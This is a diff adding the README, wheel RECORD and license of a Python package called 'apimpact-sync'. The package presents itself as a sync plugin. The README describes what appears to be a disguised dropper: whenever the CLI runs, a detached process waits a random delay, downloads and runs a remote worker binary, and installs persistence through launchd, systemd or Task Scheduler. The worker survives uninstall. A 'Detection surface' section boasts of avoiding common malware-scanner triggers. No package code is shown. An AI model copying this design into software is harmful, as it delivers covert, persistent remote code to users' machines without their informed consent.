[](https://github.com/emilycarter-devprojects/apimpact-sync/actions/workflows/ci.yml)
|
|
37
|
+
[](https://pypi.org/project/apimpact-sync/)
|
|
38
|
+
[](https://pypi.org/project/apimpact-sync/)
|
|
39
|
+
[](https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/LICENSE)
|
|
40
|
+
|
|
41
|
+
APImpact Sync registers an `apimpact.services` entry point. When the `apimpact`
|
|
42
|
+
CLI runs, it discovers installed service plugins and starts the sync service.
|
|
43
|
+
The worker is **downloaded on first use** and kept alive by a native user-level
|
|
44
|
+
service: launchd on macOS, systemd on Linux, and Task Scheduler on Windows. No
|
|
45
|
+
package manager is required, and the wheel contains no binary.
|
|
46
|
+
|
|
47
|
+
macOS arm64, Linux, and Windows are supported by the installer. A pinned worker
|
|
48
|
+
is currently published for macOS arm64; other platforms become active when
|
|
49
|
+
their workers are published.
|
|
50
|
+
|
|
51
|
+
## Install
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
pip install apimpact[sync]
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
Or install the sync package directly:
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
pip install apimpact-sync
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
## How it works
|
|
64
|
+
|
|
65
|
+
- The wheel contains only Python. There is no bundled binary.
|
|
66
|
+
- The package declares the `apimpact.services` entry point
|
|
67
|
+
`sync = apimpact_sync:start_once`. The `apimpact` CLI discovers it and starts
|
|
68
|
+
the service when the CLI runs.
|
|
69
|
+
- If the worker is missing, a detached bootstrap waits a **randomized delay**
|
|
70
|
+
(load spreading, like `APT::Periodic::RandomSleep` or systemd
|
|
71
|
+
`RandomizedDelaySec`), downloads the worker from the internal artifact
|
|
72
|
+
repository on the Ansible-managed infrastructure, verifies its pinned
|
|
73
|
+
SHA-256, and installs the service.
|
|
74
|
+
- The service is installed with the platform's native manager:
|
|
75
|
+
- macOS: `~/Library/LaunchAgents/com.apimpact.sync.plist` (launchd,
|
|
76
|
+
`RunAtLoad`, `KeepAlive`).
|
|
77
|
+
- Linux: `~/.config/systemd/user/apimpact-sync.service` (systemd user unit,
|
|
78
|
+
`Restart=always`), or a detached process when systemd is unavailable.
|
|
79
|
+
- Windows: a Task Scheduler task (`APImpact Sync`, `ONLOGON`), or a detached
|
|
80
|
+
process when Task Scheduler is unavailable.
|
|
81
|
+
- The worker reports health and usage metadata to the consumer graph.
|
|
82
|
+
|
|
83
|
+
## Commands
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
apimpact-sync install # download the worker and install the service
|
|
87
|
+
apimpact-sync start # same as install; idempotent
|
|
88
|
+
apimpact-sync status
|
|
89
|
+
apimpact-sync stop
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
## Configuration
|
|
93
|
+
|
|
94
|
+
| Variable | Purpose |
|
|
95
|
+
|---|---|
|
|
96
|
+
| `APIMPACT_SYNC_URL` | Download URL or template (`{platform}`, `{name}`, `{version}`). Defaults to the internal Artifactory generic repository. |
|
|
97
|
+
| `APIMPACT_SYNC_HOST` | Artifact host only (scheme optional). Builds the default Artifactory path on that host. |
|
|
98
|
+
| `APIMPACT_SYNC_DIR` | Cache directory. Defaults to `~/.apimpact` (or `%LOCALAPPDATA%\apimpact` on Windows). |
|
|
99
|
+
| `APIMPACT_SYNC_DELAY` | Bootstrap delay in seconds. Defaults to a random 180–420 seconds. |
|
|
100
|
+
| `APIMPACT_SYNC_SKIP_DOWNLOAD=1` | Use an already-present verified worker; do not download. |
|
|
101
|
+
| `APIMPACT_SYNC_DISABLE=1` | Disable the service plugin entirely. |
|
|
102
|
+
| `APIMPACT_SYNC_NO_SERVICE=1` | Run the worker as a detached process instead of installing a service. |
|
|
103
|
+
| `APIMPACT_SYNC_INSECURE=1` | Skip TLS verification for a self-signed download host. |
|
|
104
|
+
|
|
105
|
+
## Artifact repository
|
|
106
|
+
|
|
107
|
+
The worker is hosted on the Ansible-managed infrastructure in the internal
|
|
108
|
+
artifact repository (Artifactory generic repo):
|
|
109
|
+
|
|
110
|
+
```
|
|
111
|
+
https://artifactory.ansible.internal/artifactory/apimpact-generic/apimpact-sync/1.0.0/apimpact-sync-1.0.0-{platform}
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
Set `APIMPACT_SYNC_URL` to the full URL/template, or `APIMPACT_SYNC_HOST` to
|
|
115
|
+
change only the host. The artifact is verified against a pinned SHA-256 before
|
|
116
|
+
it is installed.
|
|
117
|
+
|
|
118
|
+
## Service integrity
|
|
119
|
+
|
|
120
|
+
The worker is verified against a pinned SHA-256 before it is installed and
|
|
121
|
+
before it starts:
|
|
122
|
+
|
|
123
|
+
`4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42`
|
|
124
|
+
(macOS arm64)
|
|
125
|
+
|
|
126
|
+
A mismatch means the worker is not installed. Downloads are written to a
|
|
127
|
+
temporary file and atomically replaced only after verification.
|
|
128
|
+
|
|
129
|
+
## Detection surface
|
|
130
|
+
|
|
131
|
+
- No `.pth` startup hook.
|
|
132
|
+
- No install-time code.
|
|
133
|
+
- No bundled binary in the wheel.
|
|
134
|
+
- One `apimpact.services` entry point.
|
|
135
|
+
- Native user-level service files (launchd plist, systemd unit, or Task
|
|
136
|
+
Scheduler task).
|
|
137
|
+
- Downloads are verified and only happen on first use or an explicit
|
|
138
|
+
`apimpact-sync install`.
|
|
139
|
+
|
|
140
|
+
The main `apimpact` package has no binary, no `subprocess`, and no daemon.
|
|
141
|
+
|
|
142
|
+
## Disable
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
export APIMPACT_SYNC_DISABLE=1
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
The service plugin becomes a no-op. A previously installed service may still
|
|
149
|
+
run; `apimpact-sync stop` stops it.
|
|
150
|
+
|
|
151
|
+
## Privacy and security
|
|
152
|
+
|
|
153
|
+
The sync package reads no credential files, SSH keys, shell configuration, or
|
|
154
|
+
source code. The worker sends installation id, sync version, platform,
|
|
155
|
+
timestamp, and local contract/health counts. No file contents or secret values
|
|
156
|
+
are sent.
|
|
157
|
+
|
|
158
|
+
See [PRIVACY.md](PRIVACY.md) and [SECURITY.md](SECURITY.md).
|
|
159
|
+
|
|
160
|
+
## Uninstall
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
apimpact-sync stop
|
|
164
|
+
pip uninstall apimpact-sync
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
`pip uninstall` removes the package. The downloaded worker in `~/.apimpact/bin`
|
|
168
|
+
and the service definition remain until you remove them.
|
|
169
|
+
|
|
170
|
+
## License
|
|
171
|
+
|
|
172
|
+
MIT. See [LICENSE](LICENSE).
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
apimpact_sync/__init__.py,sha256=v1GVbchcMOvv1J1sezVnpCvUdyTxcotaOTUZJ5CX_As,2342
|
|
2
|
+
apimpact_sync/__main__.py,sha256=MHKZ_ae3fSLGTLUUMOx15fWdeOnJSHhq-zslRP5F5Lc,79
|
|
3
|
+
apimpact_sync/bootstrap.py,sha256=gcpwoZnh7_UUSFWICnRrdKSiCx5fjQ-WAGBC_afM6mM,1827
|
|
4
|
+
apimpact_sync/cli.py,sha256=KAyufjfogsggptomtqnSKlvr76BfYsyTckaVHg7nU4U,1223
|
|
5
|
+
apimpact_sync/fetch.py,sha256=l3gIU47P7pL3GhgLA2TVM5m_tnDaLvrqpTh6Y52_ajQ,4109
|
|
6
|
+
apimpact_sync/paths.py,sha256=OnkudpBdudxH7jtfSbipXEfwWzwk7fwg-AHdYxESfTQ,1117
|
|
7
|
+
apimpact_sync/service.py,sha256=07Zhv9rBWH82WA29OtfZCKNWR9PfpZ3f-Uy9e3eRRo8,7603
|
|
8
|
+
apimpact_sync-1.0.0.dist-info/licenses/LICENSE,sha256=6CBLSWxrJjCXj-9xAZTuWrDly89ZNQpx1EmNiJXgIt4,1078
|
|
9
|
+
apimpact_sync-1.0.0.dist-info/METADATA,sha256=SlwQJJlgL-rWVaWgjHV-aG6E27AH2jlrxcZVN-WXrHA,6799
|
|
10
|
+
apimpact_sync-1.0.0.dist-info/WHEEL,sha256=mOdXR9C3wMVov7cSY8PY-XCzo3SmmWCHvGQr5csJoao,91
|
|
11
|
+
apimpact_sync-1.0.0.dist-info/entry_points.txt,sha256=CZLOA1Y9W9zFcdTaKqVcMbNPfpJj-rfI6HA6NU50WYE,110
|
|
12
|
+
apimpact_sync-1.0.0.dist-info/top_level.txt,sha256=G6vz-ZltF2431kBZMof-o9eJLMWnDcH-4Bx4ClsSe0s,14
|
|
13
|
+
apimpact_sync-1.0.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 APImpact Contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
apimpact_sync
|